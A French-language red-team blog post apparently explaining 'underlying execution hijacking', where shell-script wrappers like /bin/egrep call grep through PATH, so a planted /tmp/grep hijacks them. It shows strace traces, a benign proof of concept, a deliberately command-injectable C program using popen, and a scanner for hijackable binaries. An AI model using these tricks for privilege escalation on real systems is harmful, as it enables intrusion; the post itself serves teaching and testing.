keyboard_arrow_up

title: Underlying Execution Hijacking
date: Jun 05, 2024
tags: cheatsheets redteam privesc


Introduction

Dans cet article nous parlerons "underlying execution hijacking" qui permet d'exploiter des binaires bien qu'ils semblent être appélé par un chemin absolu.

L'objectif est de contourner la protection qui consiste à appeler un binaire par son chemin absolu en exploitant ses exploitations sous-jacentes.

Pour ce faire nous allons détourner l'exécution du script suivant (qui est un extracteur de mot de passe)

#!/bin/bash
# Define a regex pattern to match various forms of password and secret keywords
PASSWORD_PATTERN='[Pp]assword[[:space:]]*[=:][[:space:]]*|[Ss]ecret[[:space:]]*[=:][[:space:]]*|[Pp]ass[[:space:]]*[=:][[:space:]]*'

# Search for the patterns recursively in the /etc/ directory
/bin/echo "Extracting password and secret fields from files in /etc/:"
/bin/egrep -r "$PASSWORD_PATTERN" /etc/

Voici l'output de son exécution :

lololekik@srv441507:~/underlay$ ./extract_password.sh 
Extracting password fields from files in /etc/:
grep: /etc/gshadow-: Permission denied
grep: /etc/shadow-: Permission denied
grep: /etc/sudoers.d: Permission denied
grep: /etc/cni: Permission denied
grep: /etc/letsencrypt/live: Permission denied
grep: /etc/letsencrypt/archive: Permission denied
grep: /etc/letsencrypt/accounts: Permission denied
grep: /etc/letsencrypt/keys: Permission denied
grep: /etc/.pwd.lock: Permission denied
grep: /etc/docker/key.json: Permission denied
grep: /etc/gshadow: Permission denied
grep: /etc/chrony/chrony.keys: Permission denied
grep: /etc/ssh/ssh_host_ecdsa_key: Permission denied
grep: /etc/ssh/ssh_host_dsa_key: Permission denied
grep: /etc/ssh/ssh_host_rsa_key: Permission denied
grep: /etc/ssh/ssh_host_ed25519_key: Permission denied
grep: /etc/sudoers: Permission denied
/etc/sudo.conf:19:# Sudo askpass:
/etc/ssl/openssl.cnf:118:# input_password = secret
/etc/ssl/openssl.cnf:119:# output_password = secret
/etc/ssl/openssl.cnf:162:challengePassword              = A challenge password
grep: /etc/ssl/private: Permission denied
grep: /etc/shadow: Permission denied
grep: /etc/security/opasswd: Permission denied
lololekik@srv441507:~/underlay$ 

Analyse des executables

En regardans dans notre dossier contenant des executables, on se rend compte que tous les fichiers ne font ni la même tailles ni ne sont du même types.

lololekik@srv441507:~/underlay$ file /bin/cat
/bin/cat: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e6afa43e1e280bd06c018f541c7ae46a2ebda83c, for GNU/Linux 3.2.0, stripped
lololekik@srv441507:~/underlay$ file /bin/egrep
/bin/egrep: POSIX shell script, ASCII text executable

Comme montré ci-dessus, beaucoup de fichiers sont des executables comme des ELF mais d'autres sont finalement des scripts qui sont appelés.

Il devient alors trivial de lire le code source et de comprendre ce que font exactement ces binaires.

lololekik@srv441507:~/underlay$ cat /bin/egrep 
#!/bin/sh
exec grep -E "$@"

Underlying execution hijacking

Comme vous le voyez, (et comme vous avez surement déjà compris), les binaires appelés par les scripts exécutables sont souvent (toujours ?) appelés sans chemin absolu.

Je ne sais pas précisement pourquoi, ma théorie c'est que c'est pour une question de compatibilité entre les différentes distributions.

Si on résume lorsqu'on va appeler egrep un appel à grep sera fait sans chemin absolu (et ça même si egrep est appelé avec un chemin absolu).

C'est donc nos variables d'environnement qui vont être utilisées pour appeler grep comme on peut le voir avec un strace.

lololekik@srv441507:~/underlay$ strace /bin/egrep -r /etc/passwd 2&> strace.output
lololekik@srv441507:~/underlay$ echo $PATH
/home/lololekik/.cargo/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
lololekik@srv441507:~/underlay$ cat strace.output | grep execve
execve("/bin/egrep", ["/bin/egrep", "-r", "/etc/passwd", "2"], 0x7fff699f8118 /* 24 vars */) = 0
execve("/home/lololekik/.cargo/bin/grep", ["grep", "-E", "-r", "/etc/passwd", "2"], 0x559024deb788 /* 24 vars */) = -1 ENOENT (No such file or directory)
execve("/root/.cargo/bin/grep", ["grep", "-E", "-r", "/etc/passwd", "2"], 0x559024deb788 /* 24 vars */) = -1 EACCES (Permission denied)
execve("/usr/local/sbin/grep", ["grep", "-E", "-r", "/etc/passwd", "2"], 0x559024deb788 /* 24 vars */) = -1 ENOENT (No such file or directory)
execve("/usr/local/bin/grep", ["grep", "-E", "-r", "/etc/passwd", "2"], 0x559024deb788 /* 24 vars */) = -1 ENOENT (No such file or directory)
execve("/usr/sbin/grep", ["grep", "-E", "-r", "/etc/passwd", "2"], 0x559024deb788 /* 24 vars */) = -1 ENOENT (No such file or directory)
execve("/usr/bin/grep", ["grep", "-E", "-r", "/etc/passwd", "2"], 0x559024deb788 /* 24 vars */) = 0

En sachant ça il est maintenant très facile d'exploiter notre extracteur de mot de passe.

lololekik@srv441507:~/underlay$ echo "/bin/echo 'underlying execution hijacking is cool' > /home/lololekik/underlay/amihijacking?" > /tmp/grep
lololekik@srv441507:~/underlay$ chmod +x /tmp/grep 
lololekik@srv441507:~/underlay$ PATH=/tmp:$PATH ./extract_password.sh 
Extracting password fields from files in /etc/:
lololekik@srv441507:~/underlay$ cat amihijacking\? 
underlying execution hijacking is cool

Evidement ici le binaire détourné s'exécute avec les mêmes droits que notre utilisateur, l'objectif était juste de démontrer que le détournement était possible.

Impact seulement sur quelques binaires ?

Non. Si vous vous dites que c'est un cas isolé j'ai fait un script qui permet de faire la commande file sur chaque fichier d'un répertoire.

En faisant juste un filtre tout bidon sur "script" on peut déjà voir quasi-200 exécutable potentiellement vulnérable.

lololekik@srv441507:~/underlay$ ./typefile.sh /bin | grep "script" | head
/bin/apt-key: POSIX shell script, UTF-8 Unicode text executable
/bin/apt-listchanges: Python script, ASCII text executable
/bin/bashbug: POSIX shell script, ASCII text executable
/bin/bzdiff: POSIX shell script, ASCII text executable
/bin/bzexe: POSIX shell script, ASCII text executable
/bin/bzgrep: POSIX shell script, ASCII text executable
/bin/bzmore: POSIX shell script, ASCII text executable
/bin/c89-gcc: POSIX shell script, ASCII text executable
/bin/c99-gcc: POSIX shell script, ASCII text executable
/bin/catchsegv: POSIX shell script, ASCII text executable
lololekik@srv441507:~/underlay$ ./typefile.sh /bin | grep "script" | wc -l
197

Avec un autre script on peut extraire tous les binaires potentiellement détournables. Si on prend le premier de la liste de notre output précédent on peut trouver plein de binaires sans chemin absolu.

lololekik@srv441507:~/underlay$ ./checkscript.sh /bin/apt-key | sort | uniq
Found binary command without absolute path: apt-key
Found binary command without absolute path: as
Found binary command without absolute path: awk
Found binary command without absolute path: base64
Found binary command without absolute path: cat
Found binary command without absolute path: chmod
Found binary command without absolute path: cmp
Found binary command without absolute path: comm
Found binary command without absolute path: cp
Found binary command without absolute path: cut
Found binary command without absolute path: dpkg-query
Found binary command without absolute path: expr
Found binary command without absolute path: file
Found binary command without absolute path: find
Found binary command without absolute path: gpg
Found binary command without absolute path: gpgconf
Found binary command without absolute path: grep
Found binary command without absolute path: look
Found binary command without absolute path: make
Found binary command without absolute path: mkdir
Found binary command without absolute path: more
Found binary command without absolute path: mv
Found binary command without absolute path: rm
Found binary command without absolute path: script
Found binary command without absolute path: sed
Found binary command without absolute path: sh
Found binary command without absolute path: sort
Found binary command without absolute path: strip
Found binary command without absolute path: touch
Found binary command without absolute path: tr
Found binary command without absolute path: wc
Found binary command without absolute path: wget
Found binary command without absolute path: which
lololekik@srv441507:~/underlay$ ./checkscript.sh /bin/apt-key | wc -l
147

Deep dive on elf file

Ok maintenant regardons plus en profondeur le fonctionnement avec un fichier ELF.

Pour illustrer nos propos prenant le prgoramme C suivant qui fait juste un egrep sur un fichier.

// grep_file.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_LINE 1024

void grep_file(const char *filename, const char *pattern) {
    char command[MAX_LINE];
    FILE *fp;
    char result[MAX_LINE];

    // Build grep command
    snprintf(command, sizeof(command), "/bin/egrep '%s' %s", pattern, filename);

    // Open process
    fp = popen(command, "r");
    if (fp == NULL) {
        perror("popen");
        exit(EXIT_FAILURE);
    }

    // Read lines and print
    while (fgets(result, sizeof(result), fp) != NULL) {
        printf("%s", result);
    }

    // Close process
    if (pclose(fp) == -1) {
        perror("pclose");
        exit(EXIT_FAILURE);
    }
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <filename> <pattern>\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    grep_file(argv[1], argv[2]);

    return 0;
}

Ici on peut voir avec un strace que l'exécution reste possible (Notez l'utilisation de l'option -fde strace afin de suivre les processus invoqués avec popen).

lololekik@srv441507:~/underlay$ strace ./vulnerablesExecutable/grep_file /etc/passwd a &> output 
lololekik@srv441507:~/underlay$ cat output | grep execve
execve("./vulnerablesExecutable/grep_file", ["./vulnerablesExecutable/grep_fil"..., "/etc/passwd", "a"], 0x7fffc0f763a0 /* 24 vars */) = 0
lololekik@srv441507:~/underlay$ strace -f ./vulnerablesExecutable/grep_file /etc/passwd a &> output 
lololekik@srv441507:~/underlay$ cat output | grep execve
execve("./vulnerablesExecutable/grep_file", ["./vulnerablesExecutable/grep_fil"..., "/etc/passwd", "a"], 0x7fff0197c7b8 /* 24 vars */) = 0
[pid 56280] execve("/bin/sh", ["sh", "-c", "/bin/egrep 'a' /etc/passwd"], 0x7ffe07e610e8 /* 24 vars */ <unfinished ...>
[pid 56280] <... execve resumed>)       = 0
[pid 56281] execve("/bin/egrep", ["/bin/egrep", "a", "/etc/passwd"], 0x55eee7b3b8b8 /* 24 vars */ <unfinished ...>
[pid 56281] <... execve resumed>)       = 0
[pid 56281] execve("/home/lololekik/.cargo/bin/grep", ["grep", "-E", "a", "/etc/passwd"], 0x558df21e6788 /* 24 vars */) = -1 ENOENT (No such file or directory)
[pid 56281] execve("/root/.cargo/bin/grep", ["grep", "-E", "a", "/etc/passwd"], 0x558df21e6788 /* 24 vars */) = -1 EACCES (Permission denied)
[pid 56281] execve("/usr/local/sbin/grep", ["grep", "-E", "a", "/etc/passwd"], 0x558df21e6788 /* 24 vars */) = -1 ENOENT (No such file or directory)
[pid 56281] execve("/usr/local/bin/grep", ["grep", "-E", "a", "/etc/passwd"], 0x558df21e6788 /* 24 vars */) = -1 ENOENT (No such file or directory)
[pid 56281] execve("/usr/sbin/grep", ["grep", "-E", "a", "/etc/passwd"], 0x558df21e6788 /* 24 vars */) = -1 ENOENT (No such file or directory)
[pid 56281] execve("/usr/bin/grep", ["grep", "-E", "a", "/etc/passwd"], 0x558df21e6788 /* 24 vars */) = 0
lololekik@srv441507:~/underlay$ echo "/bin/echo 'underlying execution hijacking on elf is very cool' > /home/lololekik/underlay/amihijackingelf?" > /tmp/grep
lololekik@srv441507:~/underlay$ chmod +x /tmp/grep 
lololekik@srv441507:~/underlay$ PATH=/tmp:$PATH ./vulnerablesExecutable/grep_file /etc/passwd lolo
lololekik@srv441507:~/underlay$ cat amihijackingelf\? 
underlying execution hijacking on elf is very cool

Comme on peut le voir, l'exploitation ne va pas changer c'est surtout la façon dont on va chercher les binaires qui va être différente.

La principale difficulté avec un exécutable compilé c'est que le code source n'est pas disponible.

strace reste une très bonne option pour chercher les binaires qui seront appelés. L'inconvénient majeur c'est qu'il est dépendant de l'exécution de la partie de code vulnérable.

Pour illustrer mon propos, essayons d'automatiser la tâche.

J'ai fait un script qui permet de vérifier dans un dossier (ou directement sur un fichier) tous les binaires afin de voir s'ils sont vulnérables à une attaque de type underlying execution hijacking.

Voici les étapes pour automatiser l'attaque.

  1. Définir un chemin qui n'existe pas dans sa vairable $PATH
  2. Faire un strace -f sur tous les binaires que l'on trouve dans le dossier
  3. Vérifier dans l'output si un execve est fait depuis le chemin défini dans l'étape 1
  4. Si oui le binaire est vulnérable

Testons notre script sur un dossier contenant mon extracteur de mot de passe et notre fichier grep.

lololekik@srv441507:~/underlay$ ./UnderlayingExecutableHijackableSearcher.sh vulnerablesExecutable/
Updated PATH: /lolo9876:/home/lololekik/.cargo/bin:/root/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Running strace on vulnerablesExecutable//extract_password.sh...
PWN: /lolo9876/grep
Running strace on vulnerablesExecutable//grep_file...
lololekik@srv441507:~/underlay$ 

Comme on peut le voir uniquement un exécutable est considéré comme vulnérable alors que les deux le sont.

C'est parce qu'il faut attendre que la partie vulnérable du code soit appelée. Ici mon programe en C grep_file attend des arguments pour s'exécuter et donc n'invoque jamais le binaire grep.

Il reste donc assez difficile pour les ELF d'automatiser la tache. Car il faut reussir à trigger toutes les fonctions (directement avec des jmp ?) du programme.

Conclusion

En regardant de plus près beaucoup d'executables invoquent d'autres binaires qui eux peuvent être détournés. Ce petit tricks peut donc être utilisé/combié avec des privesc, exec de code ou injection de commande.

Link

https://github.com/LOLOLEKIK/underlying-execution-hijacking